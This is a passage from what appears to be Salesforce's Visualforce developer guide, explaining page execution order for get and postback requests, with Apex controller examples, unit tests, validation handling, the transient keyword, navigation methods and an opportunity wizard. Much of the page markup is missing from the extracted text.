as when the user clicks a Save button that triggers a save action, a postback request is made. For more information on postback requests, see Order of Execution for Visualforce Page Postback Requests on page 85. For a specific example of a get request, see Examples of Visualforce Page Execution Order on page 87. Order of Execution for Visualforce Page Postback Requests A postback request is made when user interaction requires a page update, such as when a user clicks on a Save button and triggers a save action. The following diagram shows how a Visualforce page interacts with a controller extension or a custom controller class during a postback request: 85 Custom Controllers and Controller Extensions Order of Execution for Visualforce Page Postback Requests 1. During a postback request, the view state is decoded and used as the basis for updating the values on the page. Note: A component with the immediate attribute set to true bypasses this phase of the request. In other words, the action executes, but no validation is performed on the inputs and no data changes on the page. 2. After the view state is decoded, expressions are evaluated and set methods on the controller and any controller extensions, including set methods in controllers defined for custom components, are executed. 86 Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order These method calls do not update the data unless all methods are executed successfully. For example, if one of the methods updates a property and the update is not valid due to validation rules or an incorrect data type, the data is not updated and the page redisplays with the appropriate error messages. 3. The action that triggered the postback request is executed. If that action completes successfully, the data is updated. If the postback request returns the user to the same page, the view state is updated. Note: The action attribute on the component is not evaluated during a postback request. It is only evaluated during a get request. 4. The resulting HTML is sent to the browser. If the postback request indicates a page redirect and the redirect is to a page that uses the same controller and a proper subset of controller extensions of the originating page, a postback request is executed for that page. Otherwise, a get request is executed for the page. If the postback request contains an component, only the ID query parameter on a postback request is returned. Tip: You can use the setRedirect attribute on a pageReference to control whether a postback or get request is executed. If setRedirect is set to true, a get request is executed. Setting it to false does not ignore the restriction that a postback request will be executed if and only if the target uses the same controller and a proper subset of extensions. If setRedirect is set to false, and the target does not meet those requirements, a get request will be made. Once the user is redirected to another page, the view state and controller objects are deleted. For a specific example of a postback request, see Examples of Visualforce Page Execution Order on page 87. Examples of Visualforce Page Execution Order The following examples illustrate the lifecycle of a Visualforce page as a user interacts with it. The page used in the examples is designed to show information about an account, the value of the variables on the page, and allows the user to edit details of the account if the key value is set to anything except false. To set up the Visualforce page for the examples: 1. Create a controller for a custom component called componentController: public class componentController { public String selectedValue { get; set { editMode = (value != null); // Side effect here - don't do this! selectedValue = value; } } public Boolean editMode {get; private set;} } 2. Create a custom component called editMode:

Value = {!value}
87 Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order selectedValue = {!selectedValue}
EditMode = {!EditMode}

3. Create a custom controller called myController: public with sharing class myController { private final Account account; public myController() { account = [select id, name, site, NumberOfEmployees, Industry from Account where id = :ApexPages.currentPage().getParameters().get('id')]; } public Account getAccount() { return account; } public PageReference save() { update account; return null; } public PageReference cancel() { return null; } } 4. Create a controller extension called lifecycle: public with sharing class lifecycle { private final Account acct; Integer EmpAdd; public lifecycle(myController controller) { this.acct = (Account)controller.getAccount(); } public String getGreeting() { return acct.name + ' Current Information'; } public void resetEmp() { acct.numberofemployees = 10; update acct; } } 5. Create a page called setEmps:

Get Request Example One For the first example, visit the setEmps page using a URL of the form https://Salesforce_instance/apex/setEmps?id=recordId, where Salesforce_instance is the name of your instance (for example, na1) and recordID is the ID of an account record in your organization (for example, 001D000000IRt53). You'll see a page with content similar to the following: Let's trace the lifecycle to see why the page displays what it does. Since you've requested the page directly by entering a URL, this page is the result of a get request, not a postback request. 1. The first thing that happens in a get request is that constructor methods on the custom controller and controller extension are called. The myController method is the constructor on the controller and the lifecycle method is the constructor on the extension. Those are executed and the two objects now exist. The controller now has a variable, called account, that is the result of a query that uses the id parameter from the URL, to identify which account object to query. The extension now has a variable, called acct, that is created by calling the getAccount method on the controller. The getAccount method has no side-effects. 89 Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order 2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers or controller extensions. The page includes one custom component: This custom component has an associated controller, but the controller has no explicit constructor. As with all Apex objects without explicit constructors, the object is created using an implicit, no-argument, public constructor. As part of creating the custom component, the value attribute on the custom component is set. In this case, it is equal to the result of the expression {!$CurrentPage.parameters.key}. Since we did not specify the key attribute in the URL, value is set to null. 3. After custom components are created, all assignTo attributes on those custom components are executed. An assignTo attribute is a setter method that assigns the value of this attribute to a class variable in the associated custom component controller. The editMode custom component does have an assignTo method, so it is executed. The assignTo method sets selectedValue on the attribute to the value attribute. The value attribute is set to null, so selectedValue is set to null. 4. The next step in a get request is evaluation of the action attribute on the component , expressions, and the required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations is indeterminate and may be different than the following: • • The component has an action attribute which calls the resetEmp method on the extension. That method sets the numberofemployees field on the acct object to 10. There are several expressions that evaluate on the page. Let's focus on three: ◊ The title attribute on calls the getter method on the lifecycle extension getGreeting. This is rendered on the page as “Global Media Current Information.” ◊ The rendered attribute on is set based on the value of the key parameter. We did not set key when calling the page, so the form is not rendered. ◊ Value = {!value}
selectedValue = {!selectedValue}
EditMode = {!EditMode} This expression occurs in the custom component. We've already discussed that value and selectedValue are set to null, however, the value of EditMode is not yet known. EditMode is a boolean variable on the componentController. It is set based on the whether value is equal to null: set { selectedValue = value; // Side effect here - don't do this! editMode = (value != null); } Since value is null, EditMode is set to false. Note, however, that there is a side-effect in the setter method for EditMode. As part of setting editMode, we also setselectedValue to value. Since value is null, this doesn't change anything, but this behavior has an impact in a later example. • The other expressions and methods are evaluated in a similar manner. 5. Since the component isn't rendered, the view state isn't created. 6. The last step in the get request is to send the HTML to the browser, which renders the HTML. 90 Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order Get Request Example Two For the second example, visit the setEmps page using a URL of the form https://Salesforce_instance/apex/setEmps?id=recordId&key=false, where Salesforce_instance is the name of your instance (for example, na1) and recordID is the ID of an account record in your organization (for example, 001D000000IRt53). Unlike the first example, this example includes a second parameter, key=false. You'll see a page with content similar to the following: Let's trace the lifecycle again. This page is also the result of a get request: 1. The first thing that happens in a get request is that constructor methods on the custom controller and controller extension are called. The myController method is the constructor on the controller and the lifecycle method is the constructor on the extension. These are executed and the two objects now exist. The controller now has a variable, called account, that is the result of a query that uses the id parameter from the URL to identify which account record to query. The extension now has a variable, called acct, that is created by calling the getAccount method on the controller. 2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers or controller extensions. The page includes one custom component: This custom component has an associated controller without a constructor, so the controller object is created using an implicit, no-argument, public constructor. As part of creating the custom component, the value attribute on the custom component is set. In this case, it is equal to the result of the expression {!$CurrentPage.parameters.key}. We specified the key attribute as false, so value is set to false. 3. After custom components are created, all assignTo attributes on those custom components are executed. The assignTo method sets selectedValue on the attribute to the value attribute. The value attribute is set to false, so selectedValue is set to false. 4. The next step in a get request is evaluation of the action attribute on the component , expressions, and the required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations is indeterminate and may be different than the following: • • The component has an action attribute which calls the resetEmp method on the extension. That method sets the numberofemployees field on the acct object to 10. Of the expressions on the page, let's see how our chosen three are evaluated: The title attribute on calls the getter method on the lifecycle extension getGreeting. It is rendered on the page as “Global Media Current Information.” The rendered attribute on is set based on the value of the key parameter. We set key to false when calling the page, so the form is not rendered. 91 Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order Value = {!value}
selectedValue = {!selectedValue}
EditMode = {!EditMode} This expression occurs in the custom component. Since value is not null, EditMode is set to true. At this point, selectedValue is set to null. Remember, however, that the setter method for EditMode has a side-effect. In this case, the side-effect sets selectedValue to the value attribute on the custom component. Since value is set to false, selectedValue is set to false. This illustrates why you should not use side-effects in your methods. If the evaluation order were different, and the value for selectedValue were determined before the setter for EditMode was evaluated, selectedValue would still be null. Execution order is not guaranteed, and the result for selectedValue could change the next time this page is visited. Warning: Do not use side-effects in your getters or setters! 5. Since the component isn't rendered, the view state isn't created 6. The last step in the get request is to send the HTML to the browser, which renders the HTML. Get Request Example Three For the third example, visit the setEmps page using a URL of the form https://Salesforce_instance/apex/setEmps?id=recordId&key=true, where Salesforce_instance is the name of your instance (for example, na1) and recordID is the ID of an account record in your organization (for example, 001D000000IRt53). Unlike the second example, this example sets key=true. You'll see a page with content similar to the following: Let's trace the get request lifecycle one more time: 1. The first thing that happens in a get request is that constructor methods on the custom controller and controller extension are called. The myController method is the constructor on the controller and the lifecycle method is the constructor on the extension. These are executed and the two objects now exist. The controller now has a variable, called account, that is the result of a query that uses the id parameter from the URL to identify which account record to query. The extension now has a variable, called acct, that is created by calling the getAccount method on the controller. 2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers or controller extensions. The page includes one custom component: This custom component has an associated controller without a constructor, so the controller object is created using an implicit, no-argument, public constructor. As part of creating the custom component, the value attribute on the custom component is set. In this case, it is equal to the result of the expression {!$CurrentPage.parameters.key}. We specified the key attribute as true, so value is set to true. 92 Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order 3. After custom components are created, all assignTo attributes on those custom components are executed. The assignTo method sets selectedValue on the attribute to the value attribute. The value attribute is set to true, so selectedValue is set to true. 4. The next step in a get request is evaluation of the action attribute on the component, expressions, and the required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations is indeterminate and may be different than the following: • • The component has an action attribute which calls the resetEmp method on the extension. That method sets the numberofemployees field on the acct object to 10. Of the expressions on the page, let's see how our chosen three are evaluated: The title attribute on calls the getter method on the lifecycle extension getGreeting. It is rendered on the page as “Global Media Current Information.” The rendered attribute on is set based on the value of the key parameter. We set key to true when calling the page, so the form is rendered. Value = {!value}
selectedValue = {!selectedValue}
EditMode = {!EditMode} This expression occurs in the custom component. Since value is not null, EditMode is set to true. As in the previous example, selectedValue is set to null. The side-effect in the setter method for EditMode sets selectedValue to true. 5. Since the component is rendered, the view state is created. 6. The last step in the get request is to send the HTML to the browser, which renders the HTML. Postback Request Example Unlike the first two examples, the third example rendered a final page with editable fields clickable buttons. To understand how a postback request works, use the final page in Example 3 to change the account name to “Pan Galactic Media,” the employee count to 42,” and the industry to “Other.” Then click Save. This initiates a postback request: 1. The first thing that happens in a postback request is that the view state is decoded. The view state contains all the information required to render the page. If, during the postback request, an operation fails, the view state is used to display the page to the user. 2. Next, all expressions are evaluated and methods on controllers and controller extensions are executed. Of the expressions on the page, let's see how our chosen three are evaluated: The title attribute on calls the getter method on the lifecycle extension getGreeting. In our edit, we changed the value of the Account name. Thus, the value of greeting changes to “Pan Galactic Media Current Information.” The rendered attribute on is set based on the value of the key parameter. We have not changed the key parameter, so the value in the view state is used. Since the value was true when the view state was created, it is still true and the form is rendered. Value = {!value}
selectedValue = {!selectedValue}
EditMode = {!EditMode} We have not changed any of these values, so, for each expression, the value in the view state is used. 93 Custom Controllers and Controller Extensions Testing Custom Controllers and Controller Extensions 3. Lastly, the save action, the action that triggered the postback request, is evaluated. The save action is the following method on the controller: public PageReference save() { update account; return null; } This method updates the record with the new data. If this method fails, which it might do if the user does not have permission to update the record, or if there are validation rules that are triggered by the change, the page is displayed along with error messages describing the error. The values the user entered are not lost. They remain as they were when the user clicked the Save button. Assuming there are no errors, the data on the object is updated, the view state is updated, and, since the action that triggered the postback did not include a page redirect, the view state is updated. The resulting HTML is sent to the browser: See Also: Using the Development Mode Footer Testing Custom Controllers and Controller Extensions Controller extensions and custom controllers, like all Apex scripts, should be covered by unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, and are flagged with the testMethod keyword in the method definition. When writing unit tests for controller extension and custom controller classes, you can set query parameters that can then be used in the tests. For example, the following custom controller and markup is based on the example from Controller Methods on page 77, but has been extended to expect the following query parameter in the URL for the page: ?qp=yyyy. A test method class follows, which exercises the functionality of this page: public class thecontroller { private private private private private String String String String String firstName; lastName; company; email; qp; 94 Custom Controllers and Controller Extensions Testing Custom Controllers and Controller Extensions public thecontroller() { this.qp = ApexPages.currentPage().getParameters().get('qp'); } public String getFirstName() { return this.firstName; } public void setFirstName(String firstName) { this.firstName = firstName; } public String getLastName() { return this.lastName; } public void setLastName(String lastName) { this.lastName = lastName; } public String getCompany() { return this.company; } public void setCompany(String company) { this.company = company; } public String getEmail() { return this.email; } public void setEmail(String email) { this.email = email; } public PageReference save() { PageReference p = null; if (this.qp == null || !'yyyy'.equals(this.qp)) { p = Page.failure; p.getParameters().put('error', 'noParam'); } else { try { Lead newlead = new Lead(LastName=this.lastName, FirstName=this.firstName, Company=this.company, Email=this.email); insert newlead; } catch (Exception e) { p = Page.failure; p.getParameters().put('error', 'noInsert'); } } if (p == null) { p = Page.success; } p.setRedirect(true); return p; } } The controller calls two additional pages: a success page and a failure page. The text of those pages is not important for this example. They merely have to exist. 95 Custom Controllers and Controller Extensions Testing Custom Controllers and Controller Extensions The following markup uses the controller above:

Test page for adding leads

This is a test page for adding leads.

First name:

Last name:

Company:

Email address:

The following class tests the controller: public class thecontrollerTests { public static testMethod void testMyController() { PageReference pageRef = Page.success; Test.setCurrentPage(pageRef); thecontroller controller = new thecontroller(); String nextPage = controller.save().getUrl(); // Verify that page fails without parameters System.assertEquals('/apex/failure?error=noParam', nextPage); // Add parameters to page URL ApexPages.currentPage().getParameters().put('qp', 'yyyy'); // Instantiate a new controller with all parameters in the page controller = new thecontroller(); controller.setLastName('lastname'); controller.setFirstName('firstname'); controller.setCompany('acme'); controller.setEmail('firstlast@acme.com'); nextPage = controller.save().getUrl(); // Verify that the success page displays System.assertEquals('/apex/success', nextPage); Lead[] leads = [select id, email from lead where Company = 'acme']; System.assertEquals('firstlast@acme.com', leads[0].email); } } Tip: If you are testing your controller you may see the following error message: Method does not exist or incorrect signature: Test.setCurrentPage(System.PageReference) If this message appears, look to see if you have created a class called Test. If you have, rename the class. See Also: "Testing Apex" in the Force.com Apex Code Developer's Guide 96 Custom Controllers and Controller Extensions Validation Rules and Custom Controllers Validation Rules and Custom Controllers If a user enters data on a Visualforce page that uses a custom controller, and that data causes a validation rule error, the error can be displayed on the Visualforce page. Like a page that uses a standard controller, if the validation rule error location is a field associated with an component, the error displays there. If the validation rule error location is set to the top of the page, use the component within the to display the error. However, to get the information to the page, the custom controller must catch the exception. For example, suppose you have the following page: This is your new page for the {!name} controller.
You are viewing the {!account.name} account.

Change Account Name:

Change Number of Locations:

(Try entering a non-numeric character here, then hit save.)



Note: The ID of a valid account record must be specified as a query parameter in the URL for this page to render. For example, http://na3.salesforce.com/apex/myValidationPage?id=001x000xxx3Jsxb. You need to write a custom controller like the following: public class MyController { Account account; public PageReference save() { try{ update account; } catch(DmlException ex){ ApexPages.addMessages(ex); } return null; } public String getName() { return 'MyController'; } public Account getAccount() { if(account == null) account = [select id, name, numberoflocations__c from Account where id = :ApexPages.currentPage().getParameters().get('id')]; return account; } } 97 Custom Controllers and Controller Extensions Using the transient Keyword When the user saves the page, if a validation error is triggered, the exception is caught and displayed on the page as they are for a standard controller. Using the transient Keyword Use the transient keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view state for a Visualforce page. For example: Transient Integer currentTotal; You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that define the types of fields declared in the serializable classes. Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a Visualforce page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many system resources to be recomputed many times during a request. Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These objects include the following: • • • • • PageReferences XmlStream classes Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as a collection of Savepoints Most of the objects generated by system methods, such as Schema.getGlobalDescribe. JSONParser class instances. For more information, see JSON Support. Static variables also don't get transmitted through the view state. The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have its original value, which has been deserialized from the view state, so it remains the same. T1: {!t1}
T2: {!t2}
public class ExampleController { DateTime t1; transient DateTime t2; public String getT1() { if (t1 == null) t1 = System.now(); return '' + t1; } public String getT2() { if (t2 == null) t2 = System.now(); 98 Custom Controllers and Controller Extensions Using the transient Keyword return '' + t2; } } 99 Chapter 8 Advanced Examples The examples in the quick start tutorial are considered beginning examples, and primarily use only Visualforce markup. Advanced examples use Force.com Apex code in addition to Visualforce markup. Creating Your First Custom Controller Up through this point, all of the examples in this tutorial have used the standard Account controller to define the underlying logic of each page. Visualforce, however, allows you to add your own logic and navigation controls to a page by defining a custom controller. The following topics walk through the basics of creating a custom controller class and defining class methods that can interact with Visualforce markup: Creating a Custom Controller Class Defining Getter Methods Defining Action Methods Defining Navigation Methods Mass-Updating Records with a Custom List Controller • • • • • Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition, a Salesforce Enterprise Edition trial organization, or a sandbox organization. In a Salesforce production organization, you can only make changes to Apex using either the Force.com Migration Tool or the Force.com API compileAndTest call. Creating a Custom Controller Class A custom controller is simply an Apex class. For example, the following code is a valid, though ineffective, controller class: public class MyController { } You can create a controller class and add it to your page in two different ways: • Add the controller attribute to your page and use a “quick fix” to create the controller class on the fly: 1. In the page editor, add the controller attribute to the tag. For example: This is your new page. 100 Advanced Examples Defining Getter Methods 2. Use the quick fix option to automatically create a new Apex class named MyController. Create and save the controller class in the Apex editor of your choice, and then reference it in your page: • 1. In the application, click Your Name > Setup > Develop > Apex Classes and click New to create a new class. 2. Return to your page and add the controller attribute to the tag as described in the example above. Note: A page can only reference one controller at a time. You can’t use both the standardController attribute and the controller attribute in an tag. As soon as you save a page that references a valid custom controller, a second Controller editor tab is available next to the Page Editor. This editor allows you to toggle back and forth between your page markup and the Apex that defines the page’s logic. Figure 17: The Custom Controller Editor Defining Getter Methods One of the primary tasks for a Visualforce controller class is to give developers a way of displaying database and other computed values in page markup. Methods that enable this type of functionality are called getter methods, and are typically named getIdentifier, where Identifier is the name for the records or primitive values returned by the method. For example, the following controller has a getter method for returning the name of the controller as a string: public class MyController { public String getName() { return 'MyController'; } } 101 Advanced Examples Defining Getter Methods To display the results of a getter method in a page, use the name of the getter method without the get prefix in an expression. For example, to display the result of the getName method in page markup, use {!name}: This is your new page for the {!name} controller. In earlier examples that used the standard Account controller, the pages displayed values from an account record specified in the URL (with the id query string parameter) by using an {!account.} expression. This was possible because the Account standard controller includes a getter method named getAccount that returns the specified account record. We can mimic this functionality in a custom controller with the following code: public class MyController { public String getName() { return 'MyController'; } public Account getAccount() { return [select id, name from Account where id = :ApexPages.currentPage().getParameters().get('id')]; } } Note: For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53 The getAccount method uses an embedded SOQL query to return the account specified by the id parameter in the URL of the page. To access id, the getAccount method uses the ApexPages namespace: • • • First the currentPage method returns the PageReference instance for the current page. PageReference returns a reference to a Visualforce page, including its query string parameters. Using the page reference, use the getParameters method to return a map of the specified query string parameter names and values. Then a call to the get method specifying id returns the value of the id parameter itself. A page that uses the MyController controller can display either the account name or id fields with an {!account.name} or {!account.id} expression, respectively. Only those fields are available to the page because those were the only fields returned by the SOQL query in the controller. To more closely mimic the standard Account controller, we can add the tabStyle attribute to the tag to give the page the same styling as other account pages. The markup for the page now looks like this: This is your new page for the {!name} controller.
You are viewing the {!account.name} account.
102 Advanced Examples Defining Action Methods Figure 18: Using a Custom Controller to Display Values on a Page Defining Action Methods Action methods perform logic or navigation when a page event occurs, such as when a user clicks a button, or hovers over an area of the page. Action methods can be called from page markup by using {! } notation in the action parameter of one of the following tags: • • • • creates a button that calls an action creates a link that calls an action periodically calls an action makes an event (such as “onclick”, “onmouseover”, and so on) on another, named component, call an action • • defines a new JavaScript function that calls an action calls an action when the page is loaded For example, in the sample page described in Using Input Components in a Page on page 26, a command button is bound to the save method in the Account standard controller. We can adapt that previous example so that it now uses the MyController custom controller: You are viewing the {!account.name} account.

Change Account Name:

103 Advanced Examples Defining Action Methods Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter in the URL for the page. For example: https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb Displaying Field Values with Visualforce on page 19 has more information about retrieving the ID of a record. After saving the page above, the Visualforce editor offers a “quick fix” option to add the save method to the MyController class. If you click the quick fix link, MyController now looks like this: public class MyController { public PageReference save() { return null; } public String getName() { return 'MyController'; } public Account getAccount() { return [select id, name from Account where id = :ApexPages.currentPage().getParameters().get('id')]; } } The save method that is generated by the quick fix takes the standard signature for an action method: it is public, returns a PageReference, and contains no arguments. Ultimately, the save method definition must update the database with new account values, but first we must define a member variable to save the account information that is retrieved from the database. Without a member variable for the account, the record retrieved from the database does not persist after its values are used to render the page, and the user's updates to the record cannot be saved. To introduce this member variable, two parts of the controller code need to change: The member variable must be added to the class The member variable must be set when getAccount performs the initial query • • public class MyController { Account account; public PageReference save() { return null; } public String getName() { return 'MyController'; } public Account getAccount() { if(account == null) account = [select id, name, site from Account where id = :ApexPages.currentPage().getParameters().get('id')]; return account; } } 104 Advanced Examples Defining Navigation Methods Now that the member variable is in place, all that the save method needs to do is update the database: public class MyController { Account account; public PageReference save() { update account; return null; } public String getName() { return 'MyController'; } public Account getAccount() { if(account == null) account = [select id, name, site from Account where id = :ApexPages.currentPage().getParameters().get('id')]; return account; } } A more robust solution for save might catch various exceptions, look for duplicates, and so on. Since this is meant to be a simple example, those details have been left out. To test this page, change the value in the Change Account Name field and click Save New Account Name. As with the standard Account controller example, the page simply refreshes with the new account name. In the next example, we will extend the save action so that instead of refreshing the current page, it navigates the user to a different confirmation page. Note: For the page to render properly, you must specify a valid account ID in the URL. For example, if 001D000000HRgU6 is the account ID, use the following URL: https://Salesforce_instance/apex/MyFirstPage?id=001D000000HRgU6 Defining Navigation Methods In addition to performing database updates and other computations, custom controller action methods can navigate users to a different page by returning a PageReference object. A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query parameter names and values. In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways: 105 Advanced Examples • Defining Navigation Methods Page.existingPageName Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specified page and will prevent the page from being deleted while the controller or extension exists. • PageReference pageRef = new PageReference('partialURL'); Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to '/apex/HelloWorld' refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld. Likewise, setting 'partialURL' to '/' + 'recordID' refers to the detail page for the specified record. This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the PageReference is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity system. Consequently, the platform doesn't recognize that this controller or controller extension is dependent on the existence of the specified page and won't issue an error message to prevent user deletion of the page. • PageReference pageRef = new PageReference('fullURL'); Creates a PageReference for an external URL. For example: PageReference pageRef = new PageReference('http://www.google.com'); For this example, suppose you want to redirect a user to another page with a new URL after he or she clicks Save. To do this, first create a second page named mySecondPage by navigating to the following URL and using the quick fix: https://Salesforce_instance/apex/mySecondPage Then add the following markup to mySecondPage. For simplicity, just use the following standard-controller-based page that was defined earlier in the tutorial: Hello {!$User.FirstName}!

You are viewing the {!account.name} account.

Now return to the original page that you built in Defining Action Methods on page 103 and make sure that you have specified an account id query parameter in the URL. Edit the save method in the controller so that it returns a PageReference to the new page you just created, “mySecondPage”: public class MyController { Account account; public PageReference save() { update account; PageReference secondPage = Page.mySecondPage; secondPage.setRedirect(true); return secondPage; } public String getName() { return 'MyController'; } public Account getAccount() { if(account == null) 106 Advanced Examples Creating a Wizard account = [select id, name, site from Account where id = :ApexPages.currentPage().getParameters().get('id')]; return account; } } Notice in the code above that the redirect attribute for the PageReference is set to true. If this attribute is not set, the PageReference is returned to the browser, but no navigation occurs—the URL for the original page remains the same. If you want to change the URL as a result of navigation, you have to set the redirect attribute. If you test the page now, clicking Save New Account Name navigates to mySecondPage, but the data context is lost—that is, no value is available for {!account.name}. The reason for this is that when a redirect occurs the controller clears the context state. Consequently we need to reset the id query string parameter in the PageReference's parameter map: public class MyUpdatedController { Account account; public PageReference save() { update account; PageReference secondPage = Page.mySecondPage; secondPage.setRedirect(true); secondPage.getParameters().put('id',account.id); return secondPage; } public String getName() { return 'MyController'; } public Account getAccount() { if(account == null) account = [select id, name, site from Account where id = :ApexPages.currentPage().getParameters().get('id')]; return account; } } Creating a Wizard Having learned about the essential features of Visualforce markup and controllers, this final example shows how they can be used together to create a custom, three-step wizard that allows users to create an opportunity at the same time as a related contact, account, and contact role: • • • The first step captures information related to the account and contact The second step captures information related to the opportunity The final step shows which records will be created and allows the user to save or cancel To implement this wizard, we must define three pages for each of the three steps in the wizard, plus a single custom controller that sets up navigation between each of the pages and tracks the data that the user enters. Important: Data that's used across several Visualforce pages must be defined within the first page, even if that page isn't using the data. For example, if a field is necessary on pages two and three of a three-step process, page one must also contain the field. You can hide this field from the user by setting the rendered attribute of the field to false. 107 Advanced Examples The Opportunity Wizard Controller The code for each of these components is included in the sections below, but first you need to understand the best procedure for creating them because each of the three pages references the controller, and the controller references each of the three pages. In what appears to be a conundrum, you cannot create the controller without the pages, but the pages have to exist to refer to them in the controller. We can work out of this problem by first defining pages that are completely empty, then creating the controller, and then adding markup to the pages. Consequently, the best procedure for creating the wizard pages and controller is as follows: 1. Navigate to the URL for the first page, https://Salesforce_instance/apex/opptyStep1, and click Create Page opptyStep1. 2. Repeat the step above for the other pages in the wizard, opptyStep2 and opptyStep3. 3. Create the newOpportunityController controller by adding it as an attribute to the tag on one of your pages (for example, , and clicking Create Apex controller newOpportunityController. Paste in all of the controller code and click Save. 4. Now return to the editors for the three pages that you created and copy in their code. The wizard should now work as expected. Note: Although you can create an empty page, the reverse is not true—in order for a page to refer to a controller, the controller has to exist with all of its methods and properties. The Opportunity Wizard Controller The following Apex class is the controller for all three pages in the New Customer Opportunity wizard: public class newOpportunityController { // These four member variables maintain the state of the wizard. // When users enter data into the wizard, their input is stored // in these variables. Account account; Contact contact; Opportunity opportunity; OpportunityContactRole role; // The next four methods return one of each of the four member // variables. If this is the first time the method is called, // it creates an empty record for the variable. public Account getAccount() { if(account == null) account = new Account(); return account; } public Contact getContact() { if(contact == null) contact = new Contact(); return contact; } public Opportunity getOpportunity() { if(opportunity == null) opportunity = new Opportunity(); return opportunity; } public OpportunityContactRole getRole() { if(role == null) role = new OpportunityContactRole(); return role; } 108 Advanced Examples The Opportunity Wizard Controller // The next three methods control navigation through // the wizard. Each returns a PageReference for one of the three pages // in the wizard. Note that the redirect attribute does not need to // be set on the PageReference because the URL does not need to change // when users move from page to page. public PageReference step1() { return Page.opptyStep1; } public PageReference step2() { return Page.opptyStep2; } public PageReference step3() { return Page.opptyStep3; } // This method cancels the wizard, and returns the user to the // Opportunities tab public PageReference cancel() { PageReference opportunityPage = new ApexPages.StandardController(opportunity).view(); opportunityPage.setRedirect(true); return opportunityPage; } // This method performs the final save for all four objects, and // then navigates the user to the detail page for the new // opportunity. public PageReference save() { // Create the account. Before inserting, copy the contact's // phone number into the account phone number field. account.phone = contact.phone; insert account; // Create the contact. Before inserting, use the id field // that's created once the account is inserted to create // the relationship between the contact and the account. contact.accountId = account.id; insert contact; // Create the opportunity. Before inserting, create // another relationship with the account. opportunity.accountId = account.id; insert opportunity; // Create the junction contact role between the opportunity // and the contact. role.opportunityId = opportunity.id; role.contactId = contact.id; insert role; // Finally, send the user to the detail page for // the new opportunity. PageReference opptyPage = new ApexPages.StandardController(opportunity).view(); opptyPage.setRedirect(true); return opptyPage; } } 109 Advanced Examples Step One of the Opportunity Wizard Step One of the Opportunity Wizard The following code defines the first page of the wizard (opptyStep1) in which data about the associated contact and account is gathered from the user: Notice the following about the markup for the first page of the wizard: • • • The tag can take an optional child element that controls the buttons that appear in the header and footer of the component. The order in which the tag appears in the body does not matter. In this page of the wizard, the tag includes the Next button that appears in the footer of the page block area. The wizard relies on JavaScript code to display a dialog box asking if a user wants to navigate away when clicking the Cancel button. Although the example includes the JavaScript directly in the markup for simplicity, it is a better practice to put JavaScript code in a static resource and reference that resource instead. In this page of the wizard, the Next button calls the step2 method in the controller, which returns a PageReference to the next step of the wizard: 110 Advanced Examples Step Two of the Opportunity Wizard Command buttons must appear in a form, because the form component itself is responsible for refreshing the page display based on the new PageReference. • An tag organizes a set of data for display. Similar to a table, an consists of one or more columns, each of which spans two cells—one for a field's label, and one for its value. Each component found in the body of an tag is placed into the next cell in a row until the number of columns is reached. At that point, the next component wraps to the next row and is placed in the first cell. Some components, including , automatically span both cells of a page block section column at once, filling in both a field's label and value. For example, in the Contact Information area of this page, the First Name field is in the first column, the Last Name field is in the second column, and the Phone field wraps to the first column of the next row: • The value attribute on the first tag in the preceding code excerpt assigns the user's input to the firstName field of the contact record that's returned by the getContact method in the controller. Your page should look like this: Figure 19: Step 1 of the New Customer Opportunity Wizard Step Two of the Opportunity Wizard The following code defines the second page of the wizard (opptyStep2) in which data about the opportunity is gathered from the user: Notice that although the markup for placing the Close Date, Stage, and Role for Contact fields on the form is the same as the other fields, the tag examines the data type of each field to determine how to display it. For example, clicking in the Close Date text box brings up a calendar from which users can select the date. Your page should look like this: Figure 20: Step 2 of the New Customer Opportunity Wizard Step Three of the Opportunity Wizard The last block of code defines the third page of the wizard (opptyStep3) in which all inputted data is displayed. The user can decide to save the operation or return to the previous step: 112 Advanced Examples Advanced Visualforce Dashboard Components Notice that the third page of the wizard simply writes text to the page with tags. Your final page should look like this: Figure 21: Step 3 of the New Customer Opportunity Wizard Advanced Visualforce Dashboard Components Visualforce pages can be used as dashboard components. A dashboard shows data from source reports as visual components, which can be charts, gauges, tables, metrics, or Visualforce pages. The components provide a snapshot of key metrics and performance indicators for your organization. Each dashboard can have up to 20 components. 113 Advanced Examples Integrating Visualforce and Google Charts Visualforce pages that use the Standard Controller can’t be used in dashboards. To be included in a dashboard, a Visualforce page must have either no controller; use a custom controller; or reference a page bound to the StandardSetController Class. If a Visualforce page does not meet these requirements, it does not appear as an option in the dashboard component Visualforce Page drop-down list. The following example shows a 